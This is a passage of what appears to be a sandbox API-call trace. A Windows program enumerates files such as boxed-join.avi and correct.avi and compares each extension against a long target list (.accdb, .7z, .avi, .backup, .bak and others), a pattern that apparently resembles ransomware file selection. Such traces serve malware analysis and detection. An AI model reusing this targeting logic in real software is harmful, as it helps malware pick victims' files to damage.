lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".as") returned 3 [0087.514] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0087.514] lstrlenW (lpString=".asa") returned 4 [0087.514] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".asc") returned 4 [0087.514] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".ascx") returned 5 [0087.514] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1 [0087.514] lstrlenW (lpString=".asm") returned 4 [0087.514] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".asmx") returned 5 [0087.514] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1 [0087.514] lstrlenW (lpString=".asp") returned 4 [0087.514] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".aspx") returned 5 [0087.514] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1 [0087.514] lstrlenW (lpString=".asr") returned 4 [0087.514] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".asx") returned 4 [0087.514] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0087.514] lstrlenW (lpString=".avi") returned 4 [0087.514] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0087.514] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0087.515] lstrlenW (lpString="boxed-join.avi") returned 14 [0087.515] lstrlenW (lpString=".1cd") returned 4 [0087.515] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".3ds") returned 4 [0087.515] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".3fr") returned 4 [0087.515] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".3g2") returned 4 [0087.515] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".3gp") returned 4 [0087.515] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".7z") returned 3 [0087.515] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0087.515] lstrlenW (lpString=".accda") returned 6 [0087.515] lstrcmpiW (lpString1=".accda", lpString2="in.avi") returned -1 [0087.515] lstrlenW (lpString=".accdb") returned 6 [0087.515] lstrcmpiW (lpString1=".accdb", lpString2="in.avi") returned -1 [0087.515] lstrlenW (lpString=".accdc") returned 6 [0087.515] lstrcmpiW (lpString1=".accdc", lpString2="in.avi") returned -1 [0087.515] lstrlenW (lpString=".accde") returned 6 [0087.515] lstrcmpiW (lpString1=".accde", lpString2="in.avi") returned -1 [0087.515] lstrlenW (lpString=".accdt") returned 6 [0087.515] lstrcmpiW (lpString1=".accdt", lpString2="in.avi") returned -1 [0087.515] lstrlenW (lpString=".accdw") returned 6 [0087.515] lstrcmpiW (lpString1=".accdw", lpString2="in.avi") returned -1 [0087.515] lstrlenW (lpString=".adb") returned 4 [0087.515] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".adp") returned 4 [0087.515] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".ai") returned 3 [0087.515] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0087.515] lstrlenW (lpString=".ai3") returned 4 [0087.515] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".ai4") returned 4 [0087.515] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".ai5") returned 4 [0087.515] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".ai6") returned 4 [0087.515] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".ai7") returned 4 [0087.515] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".ai8") returned 4 [0087.515] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".anim") returned 5 [0087.515] lstrcmpiW (lpString1=".anim", lpString2="n.avi") returned -1 [0087.515] lstrlenW (lpString=".arw") returned 4 [0087.515] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".as") returned 3 [0087.515] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0087.515] lstrlenW (lpString=".asa") returned 4 [0087.515] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".asc") returned 4 [0087.515] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0087.515] lstrlenW (lpString=".ascx") returned 5 [0087.515] lstrcmpiW (lpString1=".ascx", lpString2="n.avi") returned -1 [0087.515] lstrlenW (lpString=".asm") returned 4 [0087.516] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".asmx") returned 5 [0087.516] lstrcmpiW (lpString1=".asmx", lpString2="n.avi") returned -1 [0087.516] lstrlenW (lpString=".asp") returned 4 [0087.516] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".aspx") returned 5 [0087.516] lstrcmpiW (lpString1=".aspx", lpString2="n.avi") returned -1 [0087.516] lstrlenW (lpString=".asr") returned 4 [0087.516] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".asx") returned 4 [0087.516] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".avi") returned 4 [0087.516] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0087.516] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0087.516] lstrlenW (lpString="boxed-split.avi") returned 15 [0087.516] lstrlenW (lpString=".1cd") returned 4 [0087.516] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".3ds") returned 4 [0087.516] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".3fr") returned 4 [0087.516] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".3g2") returned 4 [0087.516] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".3gp") returned 4 [0087.516] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".7z") returned 3 [0087.516] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0087.516] lstrlenW (lpString=".accda") returned 6 [0087.516] lstrcmpiW (lpString1=".accda", lpString2="it.avi") returned -1 [0087.516] lstrlenW (lpString=".accdb") returned 6 [0087.516] lstrcmpiW (lpString1=".accdb", lpString2="it.avi") returned -1 [0087.516] lstrlenW (lpString=".accdc") returned 6 [0087.516] lstrcmpiW (lpString1=".accdc", lpString2="it.avi") returned -1 [0087.516] lstrlenW (lpString=".accde") returned 6 [0087.516] lstrcmpiW (lpString1=".accde", lpString2="it.avi") returned -1 [0087.516] lstrlenW (lpString=".accdt") returned 6 [0087.516] lstrcmpiW (lpString1=".accdt", lpString2="it.avi") returned -1 [0087.516] lstrlenW (lpString=".accdw") returned 6 [0087.516] lstrcmpiW (lpString1=".accdw", lpString2="it.avi") returned -1 [0087.516] lstrlenW (lpString=".adb") returned 4 [0087.516] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".adp") returned 4 [0087.516] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".ai") returned 3 [0087.516] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0087.516] lstrlenW (lpString=".ai3") returned 4 [0087.516] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0087.516] lstrlenW (lpString=".ai4") returned 4 [0087.517] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".ai5") returned 4 [0087.517] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".ai6") returned 4 [0087.517] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".ai7") returned 4 [0087.517] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".ai8") returned 4 [0087.517] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".anim") returned 5 [0087.517] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0087.517] lstrlenW (lpString=".arw") returned 4 [0087.517] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".as") returned 3 [0087.517] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0087.517] lstrlenW (lpString=".asa") returned 4 [0087.517] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".asc") returned 4 [0087.517] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".ascx") returned 5 [0087.517] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0087.517] lstrlenW (lpString=".asm") returned 4 [0087.517] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".asmx") returned 5 [0087.517] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0087.517] lstrlenW (lpString=".asp") returned 4 [0087.517] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".aspx") returned 5 [0087.517] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0087.517] lstrlenW (lpString=".asr") returned 4 [0087.517] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".asx") returned 4 [0087.517] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".avi") returned 4 [0087.517] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0087.517] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0087.517] lstrlenW (lpString="correct.avi") returned 11 [0087.517] lstrlenW (lpString=".1cd") returned 4 [0087.517] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".3ds") returned 4 [0087.517] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".3fr") returned 4 [0087.517] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".3g2") returned 4 [0087.517] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".3gp") returned 4 [0087.517] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0087.517] lstrlenW (lpString=".7z") returned 3 [0087.517] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0087.517] lstrlenW (lpString=".accda") returned 6 [0087.517] lstrcmpiW (lpString1=".accda", lpString2="ct.avi") returned -1 [0087.517] lstrlenW (lpString=".accdb") returned 6 [0087.517] lstrcmpiW (lpString1=".accdb", lpString2="ct.avi") returned -1 [0087.518] lstrlenW (lpString=".accdc") returned 6 [0087.518] lstrcmpiW (lpString1=".accdc", lpString2="ct.avi") returned -1 [0087.518] lstrlenW (lpString=".accde") returned 6 [0087.518] lstrcmpiW (lpString1=".accde", lpString2="ct.avi") returned -1 [0087.518] lstrlenW (lpString=".accdt") returned 6 [0087.518] lstrcmpiW (lpString1=".accdt", lpString2="ct.avi") returned -1 [0087.518] lstrlenW (lpString=".accdw") returned 6 [0087.518] lstrcmpiW (lpString1=".accdw", lpString2="ct.avi") returned -1 [0087.518] lstrlenW (lpString=".adb") returned 4 [0087.518] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".adp") returned 4 [0087.518] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".ai") returned 3 [0087.518] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0087.518] lstrlenW (lpString=".ai3") returned 4 [0087.518] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".ai4") returned 4 [0087.518] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".ai5") returned 4 [0087.518] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".ai6") returned 4 [0087.518] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".ai7") returned 4 [0087.518] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".ai8") returned 4 [0087.518] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".anim") returned 5 [0087.518] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0087.518] lstrlenW (lpString=".arw") returned 4 [0087.518] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".as") returned 3 [0087.518] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0087.518] lstrlenW (lpString=".asa") returned 4 [0087.518] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".asc") returned 4 [0087.518] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".ascx") returned 5 [0087.518] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0087.518] lstrlenW (lpString=".asm") returned 4 [0087.518] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".asmx") returned 5 [0087.518] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0087.518] lstrlenW (lpString=".asp") returned 4 [0087.518] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".aspx") returned 5 [0087.518] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0087.518] lstrlenW (lpString=".asr") returned 4 [0087.518] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".asx") returned 4 [0087.518] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0087.518] lstrlenW (lpString=".avi") returned 4 [0087.519] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0087.519] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0087.519] lstrlenW (lpString="delete.avi") returned 10 [0087.519] lstrlenW (lpString=".1cd") returned 4 [0087.519] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".3ds") returned 4 [0087.519] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".3fr") returned 4 [0087.519] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".3g2") returned 4 [0087.519] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".3gp") returned 4 [0087.519] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".7z") returned 3 [0087.519] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0087.519] lstrlenW (lpString=".accda") returned 6 [0087.519] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1 [0087.519] lstrlenW (lpString=".accdb") returned 6 [0087.519] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1 [0087.519] lstrlenW (lpString=".accdc") returned 6 [0087.519] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1 [0087.519] lstrlenW (lpString=".accde") returned 6 [0087.519] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1 [0087.519] lstrlenW (lpString=".accdt") returned 6 [0087.519] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1 [0087.519] lstrlenW (lpString=".accdw") returned 6 [0087.519] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1 [0087.519] lstrlenW (lpString=".adb") returned 4 [0087.519] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".adp") returned 4 [0087.519] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".ai") returned 3 [0087.519] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0087.519] lstrlenW (lpString=".ai3") returned 4 [0087.519] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".ai4") returned 4 [0087.519] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".ai5") returned 4 [0087.519] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".ai6") returned 4 [0087.519] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".ai7") returned 4 [0087.519] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".ai8") returned 4 [0087.519] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0087.519] lstrlenW (lpString=".anim") returned 5 [0087.519] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1 [0087.519] lstrlenW (lpString=".arw") returned 4 [0087.520] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0087.520] lstrlenW (lpString=".as") returned 3 [0087.520] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0087.520] lstrlenW (lpString=".asa") returned 4 [0087.520] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0087.520] lstrlenW (lpString=".asc") returned 4 [0087.520] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0087.520] lstrlenW (lpString=".ascx") returned 5 [0087.520] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1 [0087.520] lstrlenW (lpString=".asm") returned 4 [0087.520] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0087.520] lstrlenW (lpString=".asmx") returned 5 [0087.520] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1 [0087.520] lstrlenW (lpString=".asp") returned 4 [0087.520] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0087.520] lstrlenW (lpString=".aspx") returned 5 [0087.520] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1 [0087.520] lstrlenW (lpString=".asr") returned 4 [0087.520] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0087.520] lstrlenW (lpString=".asx") returned 4 [0087.520] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0087.520] lstrlenW (lpString=".avi") returned 4 [0087.520] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0087.520] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0087.520] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0087.520] lstrlenW (lpString=".1cd") returned 4 [0087.520] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.520] lstrlenW (lpString=".3ds") returned 4 [0087.520] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0087.520] lstrlenW (lpString=".3fr") returned 4 [0087.520] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0087.520] lstrlenW (lpString=".3g2") returned 4 [0087.520] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0087.520] lstrlenW (lpString=".3gp") returned 4 [0087.520] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0087.520] lstrlenW (lpString=".7z") returned 3 [0087.520] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.520] lstrlenW (lpString=".accda") returned 6 [0087.520] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0087.520] lstrlenW (lpString=".accdb") returned 6 [0087.520] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0087.520] lstrlenW (lpString=".accdc") returned 6 [0087.520] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0087.521] lstrlenW (lpString=".accde") returned 6 [0087.521] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0087.521] lstrlenW (lpString=".accdt") returned 6 [0087.521] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0087.521] lstrlenW (lpString=".accdw") returned 6 [0087.521] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0087.521] lstrlenW (lpString=".adb") returned 4 [0087.521] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".adp") returned 4 [0087.521] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".ai") returned 3 [0087.521] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0087.521] lstrlenW (lpString=".ai3") returned 4 [0087.521] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".ai4") returned 4 [0087.521] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".ai5") returned 4 [0087.521] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".ai6") returned 4 [0087.521] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".ai7") returned 4 [0087.521] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".ai8") returned 4 [0087.521] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".anim") returned 5 [0087.521] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0087.521] lstrlenW (lpString=".arw") returned 4 [0087.521] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".as") returned 3 [0087.521] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0087.521] lstrlenW (lpString=".asa") returned 4 [0087.521] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".asc") returned 4 [0087.521] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".ascx") returned 5 [0087.521] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0087.521] lstrlenW (lpString=".asm") returned 4 [0087.521] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".asmx") returned 5 [0087.521] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0087.521] lstrlenW (lpString=".asp") returned 4 [0087.521] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".aspx") returned 5 [0087.521] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0087.521] lstrlenW (lpString=".asr") returned 4 [0087.521] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".asx") returned 4 [0087.521] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".avi") returned 4 [0087.521] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".avs") returned 4 [0087.521] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0087.521] lstrlenW (lpString=".backup") returned 7 [0087.521] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0087.521] lstrlenW (lpString=".bak") returned 4 [0087.521] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0087.522] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0087.522] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0087.522] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0087.522] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, 